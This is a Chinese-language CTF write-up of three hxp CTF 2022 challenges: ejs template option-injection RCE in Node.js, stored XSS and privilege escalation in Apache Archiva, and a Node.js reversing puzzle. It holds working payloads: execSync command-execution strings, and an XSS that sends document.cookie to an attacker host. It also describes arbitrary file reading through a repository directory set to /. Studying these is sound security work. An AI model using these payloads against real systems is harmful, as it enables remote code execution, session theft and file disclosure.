valentine

Web签到题，考的是Node.js的ejs模板库命令执行。首先给出源码，里面的库版本都是最新的：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
var express = require('express');
var bodyParser = require('body-parser')
const crypto = require("crypto");
var path = require('path');
const fs = require('fs');

var app = express();
viewsFolder = path.join(__dirname, 'views');

if (!fs.existsSync(viewsFolder)) {
  fs.mkdirSync(viewsFolder);
}

app.set('views', viewsFolder);
app.set('view engine', 'ejs');

app.use(bodyParser.urlencoded({ extended: false }))

app.post('/template', function(req, res) {
  let tmpl = req.body.tmpl;
  let i = -1;
  while((i = tmpl.indexOf("<%", i+1)) >= 0) {
    if (tmpl.substring(i, i+11) !== "<%= name %>") {
      res.status(400).send({message:"Only '<%= name %>' is allowed."});
      return;
    }
  }
  let uuid;
  do {
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`views/${uuid}.ejs`))

  try {
    fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
  } catch(err) {
    res.status(500).send("Failed to write Valentine's card");
    return;
  }
  let name = req.body.name ?? '';
  return res.redirect(`/${uuid}?name=${name}`);
});

app.get('/:template', function(req, res) {
  let query = req.query;
  let template = req.params.template
  if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {
    res.status(400).send("Not a valid card id")
    return;
  }
  if (!fs.existsSync(`views/${template}.ejs`)) {
    res.status(400).send('Valentine\'s card does not exist')
    return;
  }
  if (!query['name']) {
    query['name'] = ''
  }
  return res.render(template, query);
});

app.get('/', function(req, res) {
  return res.sendFile('./index.html', {root: __dirname});
});

app.listen(process.env.PORT || 3000);

功能点就是可以自定义模板内容，生成并渲染，但是对模板中ejs的tag进行了严格限制，只能存在<%= name %>这一种tag，否则就会被ban。

一开始注意到bodyParser的设置bodyParser.urlencoded({ extended: false })，因为没有开启extended，在解析请求字符串的时候使用的是Node自带的querystring库，也就是没使用第三方的qs库，所以基本上可以认为在解析HTTP参数上没什么问题。

印象中比赛的时候给的代码里面extended是开了的，不过哪怕用的qs库也是最新版的6.11.0，修了前阵子的CVE-2022-24999。后面又想了想，哪怕可以利用，写原型链能不能污染还得两说，所以暂时先放一边。

接下来似乎可能的利用点只剩下使用ejs进行模板渲染的部分了。首先搜索了一下ejs最近的洞，找到了这个 https://securitylab.github.com/advisories/GHSL-2021-021-tj-ejs/ ，成因和题目里给的情况差不多，就是把代表整个HTTP参数的对象当作了ejs渲染的options参数，使得一些能够控制ejs渲染的参数可以通过HTTP参数控制。但是嘛……这个洞在3.1.6之后的版本就被修了，加了对传入的三个参数加了正则匹配，没法使用这个方法来注入代码了。

于是乎只能另寻他路。通过断点调试可以发现，renderFile()方法中取了传入参数的settings['view options']，将其Copy到最终渲染的参数对象中。

进一步就来到了Template()构造函数和Template.compile()方法中，可以看见里面初始化了很多渲染参数，而由上面的代码可知，这些参数都可以被控制，这就比较有意思了。

通过对Template.compile()方法进行分析可以发现，ejs对页面的渲染是通过解析模板中的变量和控制结构，再将其转换为一个JavaScript的Function并执行来实现的。通过各种的参数判断，最终生成了一段类似下面这样的代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
var __line = 1
  , __lines = "<%= name %>"
  , __filename = "/home/jiekanghu/Desktop/valentine/views/29b97a30-d797-4c52-abcd-038bf2149407.ejs";
try {
  var __output = "";
  function __append(s) { if (s !== undefined && s !== null) __output += s }
  with (locals || {}) {
    ; __append(escapeFn( name ))
  }
  return __output;
} catch (e) {
  rethrow(e, __lines, __filename, __line, escapeFn);
}

//# sourceURL="/home/jiekanghu/Desktop/valentine/views/29b97a30-d797-4c52-abcd-038bf2149407.ejs"

最终ejs将把这段代码编译而成的函数作为返回值，传递给下一层中间件。

RCE方法1 - escapeFn

首先注意到了生成代码中的escapeFn，能看出来是用来对输出参数进行转义避免XSS的。但是在compile方法中，escapeFn的内容也是可以被参数控制的，而且没有经过正则拦截。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
compile: function () {
    ......
    var escapeFn = opts.escapeFunction;
    ......
    if (opts.client) {
      src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
      if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
      }
    }
    ......
}

因此，只需要确保opts.client存在，就能够把自定义的escapeFn写进最终生成的代码中。最终传参如下图，escapeFn中调用了同样是生成的函数__append()，里面调用了RCE的代码，这样可以直接把命令执行的输出附加到模板的输出中：

global.process.mainModule.constructor._load('child_process').execSync('whoami').toString()
process.mainModule.require('child_process').execSync('whoami').toString()

RCE方法2 - delimiter

注意到Template构造函数中，同样可以自定义读取ejs模板中的tag标识分隔符，因此可以通过修改模板的分隔符，来直接绕过代码中对tag的限制，实现RCE。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
var _DEFAULT_OPEN_DELIMITER = '<';
var _DEFAULT_CLOSE_DELIMITER = '>';
var _DEFAULT_DELIMITER = '%';

function Template(text, opts) {
  ......
  options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
  options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
  options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
  ......
}

如下图，模板内容为<.- process.mainModule.require('child_process').execSync(name).toString() .>将尖括号里面的分隔符从%改成了.，使用RAW模式不转义直接输出返回值，绕过了限制直接RCE。

在打的时候，发现题目的docker环境中模板会缓存，本地能打通的请求远程用浏览器打死活打不通。。后面用Burp，不会在提交模板后自动跳转，使得第一次请求能够成功，但是后面的每一次请求都是第一次的返回结果，只得每修改一次exp就重新建一个新模板。在看官方给的WriteUp中提到了Dockerfile中定义了NODE_ENV=production，使得ejs自动开启了页面的缓存，这个选项虽然也可以被控制，但似乎并没有效果。

archived

题目是一个由官方源搭建的Apache Archiva环境+一个Headless Chrome的Bot服务，题目环境给了一个用户的账号密码，应该是用来登陆Archiva后台的。Apache Archiva是一个Java的仓库管理系统，这里的Apache Archiva显然也是最新版本，诸如CVE-2022-40309、 CVE-2022-40308、CVE-2022-29405这些洞全都被修复了，需要自己找漏洞点了。

Bot服务是用Python的Selenium搭起来的，看代码能看出这个服务会用管理员的身份登陆到这个系统，并且访问/repository/internal这个URI。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
try:
    driver = webdriver.Chrome(service=Service(ChromeDriverManager(chrome_type=ChromeType.CHROMIUM).install()), options=chrome_options)
    wait = WebDriverWait(driver, 10)

    # log in
    base_url = f"http://{quote(PROXY_USERNAME)}:{quote(PROXY_PASSWORD)}@{CHALLENGE_IP}:{PORT}"
    print(f"Logging in to {base_url}", flush=True)
    driver.get(base_url)

    wait.until(lambda d: d.find_element(By.ID, "login-link-a"))
    time.sleep(2)

    driver.find_element(By.ID, "login-link-a").click()

    wait.until(lambda d: d.find_element(By.ID, "modal-login").get_attribute("aria-hidden") == "false")
    time.sleep(2)

    username_input = driver.find_element(By.ID, "user-login-form-username")
    username_input.send_keys(USERNAME)

    password_input = driver.find_element(By.ID, "user-login-form-password")
    password_input.send_keys(PASSWORD)

    login_button = driver.find_element(By.ID, "modal-login-ok")
    login_button.click()

    wait.until(lambda driver: driver.execute_script("return document.readyState") == "complete")
    time.sleep(2)

    print(f"Hopefully logged in", flush=True)

    # visit url
    url = f"http://{CHALLENGE_IP}:{PORT}/repository/internal"
    print(f"Visiting {url}", flush=True)
    driver.get(url)
    wait.until(lambda driver: driver.execute_script("return document.readyState") == "complete")
    time.sleep(2)

except Exception as e:
    print(e, file=sys.stderr, flush=True)
    print('Error while visiting')
finally:
    if driver:
        driver.quit()

print('Done visiting', flush=True)

看完Bot的代码其实思路就比较清晰了，我们拿到的账号密码是一个普通权限的账户，需要通过XSS来拿到管理员权限的Cookie从而实现账号的提权，再进行下一步的操作。

首先看看这个普通的账户可以干什么。与不登陆相比，登陆后新增了一个Upload Artifact的入口，功能是可以向Archiva里管理的仓库里上传代码和二进制文件。

随便上传一个Artifact，在Bot要访问的/repository/internal下就可以看见对应的目录结构已经被建立了。如下图，URI为/repository/internal/123/456/789/，对应Groupd ID为123，Artifact ID为456，Version为789，包名为000。

很容易发现Groupd ID这部分的数据会直接显示在/repository/internal的页面中，那么接下来就可以尝试一下能否XSS了。看了一下Archiva的源代码，发现这里还是存在一些Filter的，但是规则比较简单，只过滤了路径相关的字符：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// archiva-modules/archiva-web/archiva-web-common/src/main/java/org/apache/archiva/web/api/DefaultFileUploadService.java
private final String FS = FileSystems.getDefault().getSeparator();

private boolean hasValidChars(String checkString) {
    if (checkString.contains(FS)) {
        return false;
    }
    if (checkString.contains("../")) {
        return false;
    }
    if (checkString.contains("/..")) {
        return false;
    }
    return true;
}

private void checkParamChars(String param, String value) throws ArchivaRestServiceException {
    if (!hasValidChars(value)) {
        ArchivaRestServiceException e = new ArchivaRestServiceException("Bad characters in " + param, null);
        e.setHttpErrorCode(422);
        e.setErrorKey("fileupload.malformed.param");
        e.setFieldName(param);
        throw e;
    }
}

随便写了个alert，成功写入：

接下来尝试盗取Cookie。虽然代码中的过滤就这么几个，但是实际测试的时候.也会被截断，所以最后拼合的Payload直接用了Base64编码：

1
"><img src=2 onerror=fetch(atob("[Base64 http://IP:PORT/]")+btoa(eval(atob("ZG9jdW1lbnQuY29va2ll"))))><!--

获取到管理员的Cookie之后，因为题目附件给的docker环境中管理员账户也是可以登录的，因此可以直接对相关的接口抓包。首先在题目中显然是不知道管理员账户原有的密码的，因此无法通过修改管理员密码来持久化权限。但是在Archiva中可以管理所有账户的权限和角色，将普通账户ctf的权限修改为Administrator，即可提权。

提权之后，能够做的事情就比普通用户多很多了。首先注意到可以新建和管理已存在的软件仓库，在仓库的选项页面，可以指定Directory，也就是仓库目录的位置。将其修改为根目录/，就相当于把整个系统目录当成仓库创建了，也就可以读取任意文件了。

在创建仓库的时候会提示无法创建/.indexer文件的错误，但是仓库已经被创建好了，直接访问即可，实现了任意文件读取。

进一步，由于当前版本的Archiva没有其他漏洞，且题目环境默认是禁止JSP的解析的，所以也就没法RCE了。

Reference: https://hxp.io/blog/100/hxp-CTF-2022-archived/

required

一个Node.js的程序逻辑逆向，一共有两百多个JS文件，零零散散的包含了各种逻辑，除去各种算术运算之外，还包含了BalsnCTF 2022里提到的require利用。不过正如官方WriteUp所说，这里利用require纯纯是把它当成了一个Feature而不是Bug，还挺好玩的。

零零散散的JS文件中大部分都是算术运算，其他文件中的逻辑代码，要么用于最终输出，要么用于清除require缓存，要么用于require……但最终发现都对Flag的加密流程没有任何影响。于是首先用脚本在每个JS文件的头部添加一个console.log，输出其文件名以及闭包的所有参数值，便于后续的反推。然后跑一下主文件，就能得到一个调用序列：

对其进行处理，去除无效的文件，最终得到的就是纯算术运算的序列。直接上处理代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os
import re

# Invalid ops
blacklist = ['28', '37', '157', '289', '299', '314', '394', '555', '556', '736']
f = [int("0x" + each, 16) for each in re.findall(".{2}", "d19ee193b461fd8d1452e7659acb1f47dc3ed445c8eb4ff191b1abfa7969")]
instructions = os.popen("node ./required.js").read().split("\n")[:-2][::-1]

for line in instructions:
    file_num, i, j, t = re.search("(\d+).js i=(.*) j=(.*) t=(.*)", line).groups()
    content = open(f"./{file_num}.js", "r").read()

    if file_num in blacklist:
        continue

    match = re.search('i%=30,j%=30,t%=30,i\+=\[\],j\+"",t=\(t\+\{\}\)\.split\("\["\)\[0\],(.*)\)', content)
    expr = match.group(1).replace("i", str(int(i) % 30)).replace("j", str(int(j) % 30)).replace("t", str(int(t) % 30))

    # print(expr)
    if re.search("f\[(\d+)\]\^=f\[(\d+)\]", expr) != None: # XOR
        a, b = re.search("f\[(\d+)\]\^=f\[(\d+)\]", expr).groups()
        f[int(a)] ^= f[int(b)]
    elif re.search("f\[(\d+)\]=~f\[(\d+)\]&0xff", expr) != None: # NOR
        a = re.search("f\[(\d+)\]=~f\[\d+\]", expr).group(1)
        f[int(a)] = ~f[int(a)] & 0xff
    elif re.search("f\[(\d+)\]-=f\[(\d+)\],", expr) != None: # SUB
        a, b = re.search("f\[(\d+)\]-=f\[(\d+)\],", expr).groups()
        f[int(a)] += f[int(b)]
        f[int(a)] &= 0xff
    elif re.search("f\[(\d+)\]\+=f\[(\d+)\],", expr) != None: # ADD
        a, b = re.search("f\[(\d+)\]\+=f\[(\d+)\],", expr).groups()
        f[int(a)] -= f[int(b)]
        f[int(a)] &= 0xff
    elif re.search("f\[(\d+)\]=f\[(\d+)\]\^\(f\[(\d+)\]>>1\)", expr) != None: # GREYCODE
        a = re.search("f\[(\d+)\]=f\[\d+\]\^\(f\[\d+\]>>1\)", expr).group(1)
        f[int(a)] ^= (f[int(a)] >> 4)
        f[int(a)] ^= (f[int(a)] >> 2)
        f[int(a)] ^= (f[int(a)] >> 1)
    elif re.search("f\[(\d+)\]=f\[(\d+)\]<<(\d+)&0xff\|f\[(\d+)\]>>(\d+)", expr) != None: # SHIFT
        a, b, c = re.search("f\[(\d+)\]=f\[\d+\]<<(\d+)&0xff\|f\[\d+\]>>(\d+)", expr).groups()
        f[int(a)] = f[int(a)] << int(c) & 0xff | f[int(a)] >> int(b)
    elif re.search("f\[(\d+)\]=\(\(\(f\[(\d+)\]\*0x0802&0x22110\)\|\(f\[(\d+)\]\*0x8020&0x88440\)\)\*0x10101>>>16\)&0xff", expr) != None: # REVERSE
        a = re.search("f\[(\d+)\]=\(\(\(f\[\d+\]\*0x0802&0x22110\)\|\(f\[\d+\]\*0x8020&0x88440\)\)\*0x10101>>>16\)&0xff", expr).group(1)
        f[int(a)] = int(f"{f[int(a)]:08b}"[::-1],2)
    else:
        print(expr)
        pass

print("".join([chr(each) for each in f]))

最终打印出Flag：hxp{Cann0t_f1nd_m0dule_'fl4g'}

valentine#

RCE方法1 - escapeFn#

RCE方法2 - delimiter#

archived#

required#

valentine

RCE方法1 - escapeFn

RCE方法2 - delimiter

archived

required